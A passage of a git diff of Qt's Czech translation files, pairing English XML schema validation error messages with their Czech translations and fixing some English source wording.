         %1 is not allowed to have any facets.
         %1 nesmí mít žádné stránky.
     
     
-        
         Base type %1 of simple type %2 must have variety of union.
         Základní typ %1 jednoduchého typu %2 musí mít rozmanitost sjednocení typů.
     
     
-        
         Base type %1 of simple type %2 is not allowed to have restriction in %3 attribute.
         Základní typ %1 jednoduchého typu %2 nesmí mít žádné omezení vlastnosti %3.
     
     
-        
         Member type %1 cannot be derived from member type %2 of %3's base type %4.
         Členský typ %1 nemůže být odvozen z členského typu %2 ze základního typu %4 %3.
     
     
-        
         Derivation method of %1 must be extension because the base type %2 is a simple type.
         Rozšíření s musí používat jako způsob dědičnosti (odvození) pro %1, neboť základní typ %2 je jednoduchým typem.
     
     
-        
         Complex type %1 has duplicated element %2 in its content model.
         Složitý typ %1 má zdvojený prvek %2 ve svém modelu obsahu.
     
     
-        
         Complex type %1 has non-deterministic content.
         Složitý typ %1 má ne-neměnný obsah.
     
     
-        
         Attributes of complex type %1 are not a valid extension of the attributes of base type %2: %3.
         Vlastnosti složitého typu %1 nejsou žádným platným rozšířením vlastností základního typu %2: %3.
     
     
-        
         Content model of complex type %1 is not a valid extension of content model of %2.
         Model obsahu složitého typu %1 není žádným platným rozšířením modelu obsahu %2.
     
     
-        
         Complex type %1 must have simple content.
         Složitý typ %1 musí mít jednoduchý obsah.
     
     
-        
         Complex type %1 must have the same simple type as its base class %2.
         Složitý typ %1 musí mít jednoduchý obsah.
     
     
-        
         Complex type %1 cannot be derived from base type %2%3.
         Složitý typ %2 nemůže být odvozen ze základního typu %2%3.
     
     
-        
         Attributes of complex type %1 are not a valid restriction from the attributes of base type %2: %3.
         Vlastnosti složitého typu %1  nejsou žádným platným omezením vlastností základního typu %2: %3.
     
     
-        
         Complex type %1 with simple content cannot be derived from complex base type %2.
         Složitý typ %1 s jednoduchým obsahem nemůže být odvozen ze složitého základního typu %2.
     
     
-        
         Item type of simple type %1 cannot be a complex type.
         Složkový typ jednoduchého typu %1 nemůže být složitým typem.
     
     
-        
         Member type of simple type %1 cannot be a complex type.
         Členský typ jednoduchého typu %1 nemůže být složitým typem.
     
     
-        
         %1 is not allowed to have a member type with the same name as itself.
         %1 nesmí mít členský typ se stejným názvem, jaký má sám.
     
     
-        
-        
-        
         %1 facet collides with %2 facet.
         Stránka %1 se střetává se stránkou %2.
     
     
-        
         %1 facet must have the same value as %2 facet of base type.
         Stránka %1 musí mít tutéž hodnotu, jakou má stránka %2 základního typu.
     
     
-        
         %1 facet must be equal or greater than %2 facet of base type.
         Stránka %1 musí být stejná nebo větší než stránka %2 základního typu.
     
     
-        
-        
-        
-        
-        
-        
-        
-        
         %1 facet must be less than or equal to %2 facet of base type.
         Stránka %1 musí být menší nebo stejná jako stránka %2 základního typu.
     
     
-        
         %1 facet contains invalid regular expression
         Stránka %1 obsahuje neplatný pravidelný výraz
     
     
-        
         Unknown notation %1 used in %2 facet.
         Stránka %2 obsahuje neplatné zaznamenání %1.
     
     
-        
         %1 facet contains invalid value %2: %3.
         Stránka %1 obsahuje neplatnou hodnotu %2: %3.
     
     
-        
         %1 facet cannot be %2 or %3 if %4 facet of base type is %5.
         Stránka %1 nesmí být %2 nebo %3, pokud je stránka %4 základního typu %5.
     
     
-        
         %1 facet cannot be %2 if %3 facet of base type is %4.
         Stránka %1 nesmí být %2, pokud je stránka %3 základního typu %4.
     
     
-        
-        
-        
         %1 facet must be less than or equal to %2 facet.
         Stránka %1 musí být menší nebo stejná jako stránka %2.
     
     
-        
-        
-        
         %1 facet must be less than %2 facet of base type.
         Stránka %1 musí být menší než stránka %2 základního typu.
     
     
-        
-        
         %1 facet and %2 facet cannot appear together.
         Stránky %1 a %2 se nemohou objevit spolu.
     
     
-        
-        
-        
         %1 facet must be greater than %2 facet of base type.
         Stránka %1 musí být větší než stránka %2 základního typu.
     
     
-        
-        
         %1 facet must be less than %2 facet.
         Stránka %1 musí být menší než stránka %2.
     
     
-        
-        
         %1 facet must be greater than or equal to %2 facet of base type.
         Stránka %1 musí být větší nebo stejná jako stránka %2 základního typu.
     
     
-        
         Simple type contains not allowed facet %1.
         Jednoduchý typ obsahuje nedovolenou stránku %1.
     
     
-        
         %1, %2, %3, %4, %5 and %6 facets are not allowed when derived by list.
         Stránky %1, %2, %3, %4, %5 a %6 nejsou při odvození (dědičnosti) pomocí seznamu dovoleny.
     
     
-        
         Only %1 and %2 facets are allowed when derived by union.
         Při odvození (dědičnosti) pomocí sjednocení jsou dovoleny pouze stránky %1 a %2.
     
     
-        
-        
         %1 contains %2 facet with invalid data: %3.
         %1 obsahuje stránku %2 s neplatnými daty: %3.
     
     
-        
         Attribute group %1 contains attribute %2 twice.
         Skupina vlastností %1 obsahuje vlastnost %2 dvakrát.
     
     
-        
         Attribute group %1 contains two different attributes that both have types derived from %2.
         Skupina vlastností %1 obsahuje dvě rozdílné vlastnosti, obě s typy, které jsou odvozeny z %2.
     
     
-        
         Attribute group %1 contains attribute %2 that has value constraint but type that inherits from %3.
         Skupina vlastností %1 obsahuje vlastnost %2 s omezením hodnoty, typ je ale odvozen z %3.
     
     
-        
         Complex type %1 contains attribute %2 twice.
         Složitý typ %1 obsahuje vlastnost %2 dvakrát.
     
     
-        
         Complex type %1 contains two different attributes that both have types derived from %2.
         Složitý typ %1 obsahuje dvě rozdílné vlastnosti, obě s typy, které jsou odvozeny z %2.
     
     
-        
         Complex type %1 contains attribute %2 that has value constraint but type that inherits from %3.
         Složitý typ %1 obsahuje vlastnost %2 s omezením hodnoty, typ je ale odvozen z %3.
     
     
-        
         Element %1 is not allowed to have a value constraint if its base type is complex.
         Prvek %1 nesmí mít omezení hodnoty, když je základní typ složitý.
     
     
-        
         Element %1 is not allowed to have a value constraint if its type is derived from %2.
         Prvek %1 nesmí mít omezení hodnoty, když je jeho typ odvozen z %2.
     
     
-        
-        
         Value constraint of element %1 is not of elements type: %2.
         Omezení hodnoty prvku %1 není z typu prvku: %2.
     
     
-        
         Element %1 is not allowed to have substitution group affiliation as it is no global element.
         Prvek %1 nesmí patřit k skupině nahrazení, neboť není celkovým prvkem.
     
     
-        
         Type of element %1 cannot be derived from type of substitution group affiliation.
         Typ prvku %1 nemůže být odvozen z typu příslušné skupiny nahrazení.
     
     
-        
         Value constraint of attribute %1 is not of attributes type: %2.
         Omezení hodnoty vlastnosti %1 není z typu vlastnosti: %2.
     
     
-        
         Attribute %1 has value constraint but has type derived from %2.
         Vlastnost %1 má mezení hodnoty, ale její typ je odvozen z %2.
     
     
-        
         %1 attribute in derived complex type must be %2 like in base type.
         Vlastnost %1 v odvozeném složitém typu musí být jako v základním typu %2.
     
     
-        
         Attribute %1 in derived complex type must have %2 value constraint like in base type.
         Vlastnost %1 v odvozeném složitém typu musí mít omezení hodnoty jako v základním typu %2.
     
     
-        
         Attribute %1 in derived complex type must have the same %2 value constraint like in base type.
         Vlastnost %1 v odvozeném složitém typu musí mít stejné omezení hodnoty %2 jako v základním typu.
     
     
-        
         Attribute %1 in derived complex type must have %2 value constraint.
         Vlastnost %1 v odvozeném složitém typu musí omezení hodnoty %2.
     
     
-        
         processContent of base wildcard must be weaker than derived wildcard.
         Vlastnost 'processContent' základního zástupného symbolu (vzor hledání) musí být slabší než odvozený zástupný symbol (vzor hledání).
     
     
-        
-        
         Element %1 exists twice with different types.
         Prvek %1 existuje dvakrát s rozdílnými typy.
     
     
-        
         Particle contains non-deterministic wildcards.
         Částice obsahuje ne-neměnné zástupné symboly (vzory hledání).
     
     
-        
-        
         Base attribute %1 is required but derived attribute is not.
         Základní vlastnost %1 je vyžadována, ale odvozená vlastnost není.
     
     
-        
         Type of derived attribute %1 cannot be validly derived from type of base attribute.
         Typ odvozené vlastnosti %1 nemůže být platně odvozen z typu základní vlastnosti.
     
     
-        
         Value constraint of derived attribute %1 does not match value constraint of base attribute.
         Omezení hodnoty odvozené vlastnosti %1 neodpovídá omezení hodnoty základní vlastnosti.
     
     
-        
         Derived attribute %1 does not exists in the base definition.
+        Odvozená vlastnost %1 neexistuje v základním vymezení.
+    
+    
+        Derived attribute %1 does not exist in the base definition.
         Odvozená vlastnost %1 neexistuje v základním vymezení.
     
     
-        
         Derived attribute %1 does not match the wildcard in the base definition.
         Odvozená vlastnost %1 neodpovídá zástupnému symbolu (vzoru hledání) v základním vymezení.
     
     
-        
         Base attribute %1 is required but missing in derived definition.
         Základní vlastnost %1 je vyžadována, ale chybí v odvozeném vymezení.
     
     
-        
         Derived definition contains an %1 element that does not exists in the base definition
         Odvozené vymezení obsahuje prvek %1, který v základním vymezení neexistuje
     
     
-        
         Derived wildcard is not a subset of the base wildcard.
         Odvozený zástupný symbol (vzor hledání) není žádnou dílčí množinou základního zástupného symbolu (vzoru hledání).
     
     
-        
         %1 of derived wildcard is not a valid restriction of %2 of base wildcard
         Vlastnost %1 odvozeného zástupného symbolu (vzoru hledání) není platným omezením %2 základního zástupného symbolu (vzoru hledání)
     
     
-        
         Attribute %1 from base type is missing in derived type.
         Vlastnost %1 základního typu chybí v odvozeném typu.
     
     
-        
         Type of derived attribute %1 differs from type of base attribute.
         Typ odvozené vlastnosti %1 se liší od typu základní vlastnosti.
     
     
-        
         Base definition contains an %1 element that is missing in the derived definition
         Základní vymezení obsahuje prvek %1, který v odvozeném vymezení chybí
     
     
-        
         Can not process unknown element %1, expected elements are: %2.
         Nelze zpracovat neznámý prvek %1, očekávanými prvky jsou: %2.
     
     
-        
         Element %1 is not allowed in this scope, possible elements are: %2.
         Prvek %1 není v této oblasti dovolen; možnými prvky jsou: %2.
     
     
-        
         Child element is missing in that scope, possible child elements are: %1.
         Podprvek v oblasti chybí; možnými podprvky jsou: %1.
     
     
-        
         Document is not a XML schema.
         Dokument není schématem XML.
     
     
-        
         %1 attribute of %2 element contains invalid content: {%3} is not a value of type %4.
         Vlastnost %1 prvku %2 obsahuje neplatný obsah: {%3} není hodnotou typu %4.
     
     
-        
         %1 attribute of %2 element contains invalid content: {%3}.
         Vlastnost %1 prvku %2 obsahuje neplatný obsah: {%3}.
     
     
-        
         Target namespace %1 of included schema is different from the target namespace %2 as defined by the including schema.
         Cílový jmenný prostor %1 zahrnutého schématu se liší od jím vymezeného cílového jmenného prostoru %2.
     
     
-        
-        
         Target namespace %1 of imported schema is different from the target namespace %2 as defined by the importing schema.
         Cílový jmenný prostor %1 zavedeného schématu se liší od jím vymezeného cílového jmenného prostoru %2.
     
     
-        
         %1 element is not allowed to have the same %2 attribute value as the target namespace %3.
         Prvek %1 nemůže stanovit cílový jmenný prostor %3 jako hodnotu vlastnosti %2.
     
     
-        
         %1 element without %2 attribute is not allowed inside schema without target namespace.
         Ve schématu bez jmenného prostoru musí mít prvek %1 vlastnost %2.
     
     
-        
-        
         %1 element is not allowed inside %2 element if %3 attribute is present.
         Když je přítomna vlastnost %3, nesmí se vyskytovat prvek %1 v prvku %2.
     
     
-        
-        
-        
         %1 element has neither %2 attribute nor %3 child element.
         Prvek %1 nemá ani vlastnost %2 ani podprvek %3.
     
     
-        
-        
-        
-        
-        
-        
-        
-        
-        
-        
-        
-        
-        
-        
         %1 element with %2 child element must not have a %3 attribute.
         Prvek %1 nesmí mít vlastnost %3, když existuje podprvek %2.
     
     
-        
         %1 attribute of %2 element must be %3 or %4.
         Vlastnost %1 prvku %2 může být jen %3 nebo %4.
     
     
-        
         %1 attribute of %2 element must have a value of %3.
         Vlastnost %1 prvku %2 musí mít hodnotu %3.
     
     
-        
-        
         %1 attribute of %2 element must have a value of %3 or %4.
         Vlastnost %1 prvku %2 může mít jen jednu z hodnot %3 nebo %4.
     
     
-        
-        
-        
-        
-        
-        
-        
-        
-        
-        
-        
-        
-        
-        
         %1 element must not have %2 and %3 attribute together.
         Vlastnosti %2 a %3 se v prvku %1 nemohou objevit společně.
     
     
-        
-        
         Content of %1 attribute of %2 element must not be from namespace %3.
         Obsah vlastnosti %1 prvku %2 nemůže pocházet ze jmenného prostoru %3.
     
     
-        
-        
         %1 attribute of %2 element must not be %3.
         Vlastnost %1 prvku %2 nemůže být %3.
     
     
-        
         %1 attribute of %2 element must have the value %3 because the %4 attribute is set.
         Vlastnost %1 prvku %2 musí mít hodnotu %3, protože je nastavena vlastnost %4.
     
     
-        
         Specifying use='prohibited' inside an attribute group has no effect.
         Zadání use='prohibited' ve skupině vlastností nemá naprosto žádný účinek.
     
     
-        
         %1 element must have either %2 or %3 attribute.
         Prvek %1 musí mít buď vlastnost %2 nebo %3.
     
     
-        
         %1 element must have either %2 attribute or %3 or %4 as child element.
         Prvek %1 musí mít buď vlastnost %2, nebo mít %3 nebo %4 jako podprvek.
     
     
-        
         %1 element requires either %2 or %3 attribute.
         Prvek %1 vyžaduje buď vlastnost %2 nebo %3.
     
     
-        
         Text or entity references not allowed inside %1 element
         Text nebo odkazy na entitu nejsou v prvku %1 dovoleny
     
     
-        
-        
         %1 attribute of %2 element must contain %3, %4 or a list of URIs.
         Vlastnost %1 prvku %2 musí obsahovat %3, %4 nebo seznam adres (URL).
     
     
-        
         %1 element is not allowed in this context.
         Prvek %1 není v této souvislosti dovolen.
     
     
-        
         %1 attribute of %2 element has larger value than %3 attribute.
         Hodnota vlastnosti %1 prvku %2 je větší než hodnota vlastnosti %3.
     
     
-        
         Prefix of qualified name %1 is not defined.
         Předpona způsobilého názvu %1 není stanovena.
     
     
-        
-        
         %1 attribute of %2 element must either contain %3 or the other values.
         Hodnota vlastnosti %1 prvku %2 musí obsahovat buď %3 nebo jiné hodnoty.
     
     
-        
-        Component with id %1 has been defined previously.
+        Component with ID %1 has been defined previously.
         Součást s ID %1 je již stanovena.
     
     
-        
+        Component with id %1 has been defined previously.
+        Součást s ID %1 je již stanovena.
+    
+    
         Element %1 already defined.
         Prvek %1 je již stanoven.
     
     
-        
         Attribute %1 already defined.
         Vlastnost %1 je již stanovena.
     
     
-        
         Type %1 already defined.
         Typ %1 je již stanoven.
     
     
-        
         Attribute group %1 already defined.
         Skupina vlastností %1 je již stanovena.
     
     
-        
         Element group %1 already defined.
         Skupina prvků %1 je již stanovena.
     
     
-        
         Notation %1 already defined.
         Zápis %1 je již stanoven.
     
     
-        
         Identity constraint %1 already defined.
         Omezení totožnosti %1 je již stanoveno.
     
     
-        
         Duplicated facets in simple type %1.
         Zdvojené stránky v jednoduchém typu %1.
     
     
-        
         %1 references unknown %2 or %3 element %4.
         %1 odkazuje na neznámý prvek %4 (%2 nebo %3).
     
     
-        
         %1 references identity constraint %2 that is no %3 or %4 element.
         %1 odkazuje na omezení totožnosti %2, které není ani prvek '%3' ani '%4'.
     
     
-        
         %1 has a different number of fields from the identity constraint %2 that it references.
         U %1 se liší počet polí od omezení totožnosti %2, na kterou odkazuje.
     
     
-        
         Base type %1 of %2 element cannot be resolved.
         Základní typ %1 prvku %2 nemůže být vyřešen.
     
     
-        
         Item type %1 of %2 element cannot be resolved.
         Složkový typ %1 prvku %2 nemůže být vyřešen.
     
     
-        
         Member type %1 of %2 element cannot be resolved.
         Členský typ %1 prvku %2 nemůže být vyřešen.
     
     
-        
-        
-        
         Type %1 of %2 element cannot be resolved.
         Typ %1 prvku %2 nemůže být vyřešen.
     
     
-        
         Base type %1 of complex type cannot be resolved.
         Základní typ %1 složitého typu nemůže být vyřešen.
     
     
-        
         %1 cannot have complex base type that has a %2.
         %1 nelze mít žádný složitý základní typ, který má %2.
     
     
-        
         Content model of complex type %1 contains %2 element so it cannot be derived by extension from a non-empty type.
         Model obsahu složitého typu %1 obsahuje prvek %2; nelze jej proto odvodit pomocí rozšíření z ne-prázdného typu.
     
     
-        
         Complex type %1 cannot be derived by extension from %2 as the latter contains %3 element in its content model.
         Složitý typ %1 nemůže být odvozen pomocí rozšíření z %2, neboť poslední obsahuje prvek '%3' ve svém modelu obsahu.
     
     
-        
         Type of %1 element must be a simple type, %2 is not.
         Typ prvku %1 musí být jednoduchým prvkem, což %2 není.
     
     
-        
         Substitution group %1 of %2 element cannot be resolved.
         Skupina nahrazení %1 prvku %2 nemůže být vyřešena.
     
     
-        
         Substitution group %1 has circular definition.
         Skupina nahrazení %1 má v kruzích prováděné vymezení.
     
     
-        
-        
         Duplicated element names %1 in %2 element.
         Název prvku %1 se vyskytuje v prvku %2 vícekrát.
     
     
-        
-        
-        
-        
         Reference %1 of %2 element cannot be resolved.
         Odkaz %1 prvku %2 nemůže být vyřešen.
     
     
-        
         Circular group reference for %1.
         V kruzích prováděný skupinový odkaz pro %1.
     
     
-        
         %1 element is not allowed in this scope
         Prvek %1 není v této oblasti dovolen
     
     
-        
         %1 element cannot have %2 attribute with value other than %3.
         Hodnota vlastnosti %2 prvku %1 může být pouze %3.
     
     
-        
         %1 element cannot have %2 attribute with value other than %3 or %4.
         Hodnota vlastnosti %2 prvku %1 může být pouze %3 nebo %4.
     
     
-        
         %1 or %2 attribute of reference %3 does not match with the attribute declaration %4.
         Vlastnost %1 nebo %2 odkazu %3 neodpovídá prohlášení vlastnosti %4.
     
     
-        
         Attribute group %1 has circular reference.
         Skupina vlastnosti %1 má kruzích prováděný odkaz.
     
     
-        
         %1 attribute in %2 must have %3 use like in base type %4.
         Vlastnost %1 v %2 musí mít použití '%3' jako v základním typu %4.
     
     
-        
         Attribute wildcard of %1 is not a valid restriction of attribute wildcard of base type %2.
         Zástupný symbol vlastnosti (vzor hledání) %1není platným omezením zástupného symbolu vlastnosti (vzoru hledání) základního typu %2.
     
     
-        
         %1 has attribute wildcard but its base type %2 has not.
         %1 má zástupný symbol vlastnosti (vzor hledání), ale jeho základní typ %2 nemá.
     
     
-        
         Union of attribute wildcard of type %1 and attribute wildcard of its base type %2 is not expressible.
         Sjednocení zástupného symbolu vlastnosti (vzoru hledání) typu %1 a zástupného symbolu vlastnosti (vzoru hledání) jeho základního typu %2 není vyjádřitelné.
     
     
-        
         Enumeration facet contains invalid content: {%1} is not a value of type %2.
         Výčtová stránka obsahuje neplatný obsah: {%1} není hodnotou typu %2.
     
     
-        
         Namespace prefix of qualified name %1 is not defined.
         Předpona jmenného prostoru způsobilého názvu %1 není stanovena.
     
     
-        
-        
         %1 element %2 is not a valid restriction of the %3 element it redefines: %4.
         Prvek %2 (%1) není platným omezením přepisovaného prvku (%3): %4.
     
     
-        
-        
-        
         %1 is not valid according to %2.
         %1 je podle %2 neplatné.
     
     
-        
         String content does not match the length facet.
         Obsah řetězce znaků neodpovídá stránce délky.
     
     
-        
         String content does not match the minLength facet.
         Obsah řetězce znaků neodpovídá stránce délky (nejmenší údaj, 'minLength').
     
     
-        
         String content does not match the maxLength facet.
         Obsah řetězce znaků neodpovídá stránce délky (největší údaj; 'maxLength').
     
     
-        
         String content does not match pattern facet.
         Obsah řetězce znaků neodpovídá stránce vzoru pro hledání.
     
     
-        
         String content is not listed in the enumeration facet.
         Obsah řetězce znaků není obsažen ve výčtové stránce.
     
     
-        
         Signed integer content does not match the maxInclusive facet.
         Celočíselná hodnota označená znaménkem neodpovídá stránce 'maxInclusive'.
     
     
-        
         Signed integer content does not match the maxExclusive facet.
         Celočíselná hodnota označená znaménkem neodpovídá stránce 'maxExclusive'.
     
     
-        
         Signed integer content does not match the minInclusive facet.
         Celočíselná hodnota označená znaménkem neodpovídá stránce 'minInclusive'.
     
     
-        
         Signed integer content does not match the minExclusive facet.
         Celočíselná hodnota označená znaménkem neodpovídá stránce 'minExclusive'.
     
     
-        
         Signed integer content is not listed in the enumeration facet.
         Celočíselná hodnota označená znaménkem není obsažena ve výčtové stránce.
     
     
-        
         Signed integer content does not match pattern facet.
         Celočíselná hodnota označená znaménkem neodpovídá stránce vzoru pro hledání.
     
     
-        
         Signed integer content does not match in the totalDigits facet.
         Celočíselná hodnota označená znaménkem neodpovídá stránce 'totalDigits'.
     
     
-        
         Unsigned integer content does not match the maxInclusive facet.
         Celočíselná hodnota jsoucí bez znaménka neodpovídá stránce 'maxInclusive'.
     
     
-        
         Unsigned integer content does not match the maxExclusive facet.
         Celočíselná hodnota jsoucí bez znaménka neodpovídá stránce 'maxExclusive'.
     
     
-        
         Unsigned integer content does not match the minInclusive facet.
         Celočíselná hodnota jsoucí bez znaménka neodpovídá stránce 'minInclusive'.
     
     
-        
         Unsigned integer content does not match the minExclusive facet.
         Celočíselná hodnota jsoucí bez znaménka neodpovídá stránce 'minExclusive'.
     
     
-        
         Unsigned integer content is not listed in the enumeration facet.
         Celočíselná hodnota jsoucí bez znaménka není obsažena ve výčtové stránce.
     
     
-        
         Unsigned integer content does not match pattern facet.
         Celočíselná hodnota jsoucí bez znaménka neodpovídá stránce vzoru pro hledání.
     
     
-        
         Unsigned integer content does not match in the totalDigits facet.
         Celočíselná hodnota jsoucí bez znaménka neodpovídá stránce 'totalDigits'.
     
     
-        
         Double content does not match the maxInclusive facet.
         Číslo s pohyblivou čárkou neodpovídá stránce 'maxInclusive'.
     
     
-        
         Double content does not match the maxExclusive facet.
         Číslo s pohyblivou čárkou neodpovídá stránce 'maxExclusive'.
     
     
-        
         Double content does not match the minInclusive facet.
         Číslo s pohyblivou čárkou neodpovídá stránce 'minInclusive'.
     
     
-        
         Double content does not match the minExclusive facet.
         Číslo s pohyblivou čárkou neodpovídá stránce 'minExclusive'.
     
     
-        
         Double content is not listed in the enumeration facet.
         Číslo s pohyblivou čárkou není obsaženo ve výčtové stránce.
     
     
-        
         Double content does not match pattern facet.
         Číslo s pohyblivou čárkou neodpovídá stránce vzoru pro hledání.
     
     
-        
         Decimal content does not match in the fractionDigits facet.
         Desetinné číslo neodpovídá stránce 'fractionDigits'.
     
     
-        
         Decimal content does not match in the totalDigits facet.
         Desetinné číslo neodpovídá stránce 'totalDigits'.
     
     
-        
         Date time content does not match the maxInclusive facet.
         Údaj o datu neodpovídá stránce 'maxInclusive'.
     
     
-        
         Date time content does not match the maxExclusive facet.
         Údaj o datu neodpovídá stránce 'maxExclusive'.
     
     
-        
         Date time content does not match the minInclusive facet.
         Údaj o datu neodpovídá stránce 'minInclusive'.
     
     
-        
         Date time content does not match the minExclusive facet.
         Údaj o datu neodpovídá stránce 'minExclusive'.
     
     
-        
         Date time content is not listed in the enumeration facet.
         Údaj o datu není obsažen ve výčtové stránce.
     
     
-        
         Date time content does not match pattern facet.
         Údaj o datu neodpovídá stránce vzoru pro hledání.
     
     
-        
         Duration content does not match the maxInclusive facet.
         Údaj o době trvání neodpovídá stránce 'maxInclusive'.
     
     
-        
         Duration content does not match the maxExclusive facet.
         Údaj o době trvání neodpovídá stránce 'maxExclusive'.
     
     
-        
         Duration content does not match the minInclusive facet.
         Údaj o době trvání neodpovídá stránce 'minInclusive'.
     
     
-        
         Duration content does not match the minExclusive facet.
         Údaj o době trvání neodpovídá stránce 'minExclusive'.
     
     
-        
         Duration content is not listed in the enumeration facet.
         Údaj o době trvání není obsažen ve výčtové stránce.
     
     
-        
         Duration content does not match pattern facet.
         Údaj o době trvání neodpovídá stránce vzoru pro hledání.
     
     
-        
         Boolean content does not match pattern facet.
         Booleánská hodnota neodpovídá stránce vzoru pro hledání.
     
     
-        
         Binary content does not match the length facet.
         Binární obsah neodpovídá stránce délky.
     
     
-        
         Binary content does not match the minLength facet.
         Binární obsah neodpovídá stránce 'minLength'.
     
     
-        
         Binary content does not match the maxLength facet.
         Binární obsah neodpovídá stránce 'maxLength'.
     
     
-        
         Binary content is not listed in the enumeration facet.
         Binární obsah není obsažen ve výčtové stránce.
     
     
-        
         Invalid QName content: %1.
         Obsah způsobilého názvu ('QName') je neplatný: %1.
     
     
-        
         QName content is not listed in the enumeration facet.
         Obsah způsobilého názvu ('QName') není obsažen ve výčtové stránce.
     
     
-        
         QName content does not match pattern facet.
         Obsah způsobilého názvu ('QName') neodpovídá stránce vzoru pro hledání.
     
     
-        
         Notation content is not listed in the enumeration facet.
         Obsah zápisu není obsažen ve výčtové stránce.
     
     
-        
         List content does not match length facet.
         Obsah seznamu neodpovídá stránce délky.
     
     
-        
         List content does not match minLength facet.
         Obsah seznamu neodpovídá stránce 'minLength'.
     
     
-        
         List content does not match maxLength facet.
         Obsah seznamu neodpovídá stránce 'maxLength'.
     
     
-        
         List content is not listed in the enumeration facet.
         Obsah seznamu není obsažen ve výčtové stránce.
     
     
-        
         List content does not match pattern facet.
         Obsah seznamu neodpovídá stránce vzoru pro hledání.
     
     
-        
         Union content is not listed in the enumeration facet.
         Obsah sjednocení není obsažen ve výčtové stránce.
     
     
-        
         Union content does not match pattern facet.
         Obsah sjednocení neodpovídá stránce vzoru pro hledání.
     
     
-        
         Data of type %1 are not allowed to be empty.
         Data typu %1 nemohou být prázdná.
     
     
-        
         Element %1 is missing child element.
         U prvku %1 chybí podprvek.
     
     
-        
         There is one IDREF value with no corresponding ID: %1.
         Existuje hodnota IDREF, pro kterou neexistuje příslušné ID: %1.
     
     
-        
         Loaded schema file is invalid.
         Nahraný soubor se schématem je neplatný.
     
     
-        
         %1 contains invalid data.
         %1 obsahuje neplatná data.
     
     
-        
         xsi:schemaLocation namespace %1 has already appeared earlier in the instance document.
         Jmenný prostor xsi:schemaLocation %1 byl již dříve v případovém dokumentu stanoven.
     
     
-        
         xsi:noNamespaceSchemaLocation cannot appear after the first no-namespace element or attribute.
         xsi:noNamespaceSchemaLocation se nemůže objevit po prvním prvku nebo vlastnosti bez jmenného prostoru.
     
     
-        
         No schema defined for validation.
         Pro schválení není stanoveno žádné schéma.
     
     
-        
         No definition for element %1 available.
         Pro prvek %1 není dostupné žádné vymezení.
     
     
-        
-        
-        
         Specified type %1 is not known to the schema.
         Zadaný typ %1 není ve schématu stanoven.
     
     
-        
         Element %1 is not defined in this scope.
         Prvek %1 není v této oblasti stanoven.
     
     
-        
         Declaration for element %1 does not exist.
         Pro prvek %1 není dostupné žádné prohlášení.
     
     
-        
         Element %1 contains invalid content.
         Prvek %1 obsahuje neplatný obsah.
     
     
-        
         Element %1 is declared as abstract.
         Prvek %1 je prohlášen jako abstraktní.
     
     
-        
         Element %1 is not nillable.
         Prvek %1 nemá zadánu vlastnost 'nillable'.
     
     
-        
         Attribute %1 contains invalid data: %2
         Vlastnost %1 obsahuje neplatná data: %2
     
     
-        
         Element contains content although it is nillable.
         Prvek má obsah, ačkoli je 'nillable'.
     
     
-        
-        Fixed value constrained not allowed if element is nillable.
+        Fixed value constraint not allowed if element is nillable.
         Pevné omezení hodnoty není dovoleno, pokud je prvek 'nillable'.
     
     
-        
+        Element %1 cannot contain other elements, as it has a fixed content.
+        Prvek %1 nesmí obsahovat žádné jiné prvky, protože má pevný obsah.
+    
+    
+        Fixed value constrained not allowed if element is nillable.
+        Pevné omezení hodnoty není dovoleno, pokud je prvek 'nillable'.
+    
+    
         Specified type %1 is not validly substitutable with element type %2.
         Zadaný typ %1 není platně nahraditelný typem prvku %2.
     
     
-        
         Complex type %1 is not allowed to be abstract.
         Složitý typ %1 nemůže být abstraktní.
     
     
-        
         Element %1 contains not allowed attributes.
         Prvek %1 obsahuje nepřípustné vlastnosti.
     
     
-        
-        
         Element %1 contains not allowed child element.
         Prvek %1 obsahuje nepřípustný podprvek.
     
     
-        
-        
         Content of element %1 does not match its type definition: %2.
         Obsah prvku %1 neodpovídá vymezení svého typu: %2.
     
     
-        
-        
-        
         Content of element %1 does not match defined value constraint.
         Obsah prvku %1 neodpovídá stanovenému omezení hodnoty.
     
     
-        
         Element %1 contains not allowed child content.
         Prvek %1 obsahuje nepřípustný podobsah.
     
     
-        
         Element %1 contains not allowed text content.
         Prvek %1 obsahuje nepřípustný textový obsah.
     
     
-        
         Element %1 can not contain other elements, as it has a fixed content.
-        Prvek %1 nesmí obsahovat žádné podprvky, protože má pevný obsah.
+        Prvek %1 nesmí obsahovat žádné podprvky, protože má pevný obsah.
     
     
-        
         Element %1 is missing required attribute %2.
         U prvkuk %1 chybí vyžadovaná vlastnost %2.
     
     
-        
         Attribute %1 does not match the attribute wildcard.
         Vlastnost %1 neodpovídá zástupnému symbolu (vzoru hledání) vlastnosti.
     
     
-        
         Declaration for attribute %1 does not exist.
         Pro vlastnost %1 není dostupné žádné prohlášení.
     
     
-        
         Element %1 contains two attributes of type %2.
         Prvek %1 obsahuje dvě vlastnosti typu %2.
     
     
-        
         Attribute %1 contains invalid content.
         Vlastnost %1 obsahuje neplatný obsah.
     
     
-        
         Element %1 contains unknown attribute %2.
         Prvek %1 obsahuje neznámou vlastnost %2.
     
     
-        
-        
         Content of attribute %1 does not match its type definition: %2.
         Obsah vlastnosti %1 neodpovídá vymezení svého typu: %2.
     
     
-        
-        
         Content of attribute %1 does not match defined value constraint.
         Obsah vlastnosti %1 neodpovídá stanovenému omezení hodnoty.
     
     
-        
         Non-unique value found for constraint %1.
         Pro omezení %1 byla nalezena ne jednoznačně stanovená hodnota.
     
     
-        
         Key constraint %1 contains absent fields.
         Omezení klíče %1 obsahuje nepřítomná pole.
     
     
-        
         Key constraint %1 contains references nillable element %2.
         Omezení klíče %1 obsahuje odkazy na prvek %2, který je 'nillable'.
     
     
-        
         No referenced value found for key reference %1.
         Odkazovanou hodnotu odkazu na klíč %1 se nepodařilo najít.
     
     
-        
         More than one value found for field %1.
         Pro pole %1 bylo nalezeno více hodnot.
     
     
-        
         Field %1 has no simple type.
         Pole %1 nemá žádný jednoduchý typ.
     
     
-        
         ID value '%1' is not unique.
         Hodnota ID %1 není jednoznačná.
     
     
-        
         '%1' attribute contains invalid QName content: %2.
         Vlastnost %1 obsahuje neplatný způsobilý název: %2.
     
diff --git a/translations/qt_help_cs.ts b/translations/qt_help_cs.ts
old mode 100644
new mode 100755
index 15836f1..6e425d6
--- a/translations/qt_help_cs.ts
+++ b/translations/qt_help_cs.ts
@@ -4,80 +4,72 @@
 
     QCLuceneResultWidget
     
-        
         Search Results
         Výsledky hledání
     
     
-        
         Note:
         Poznámka:
     
     
-        
         The search results may not be complete since the documentation is still being indexed!
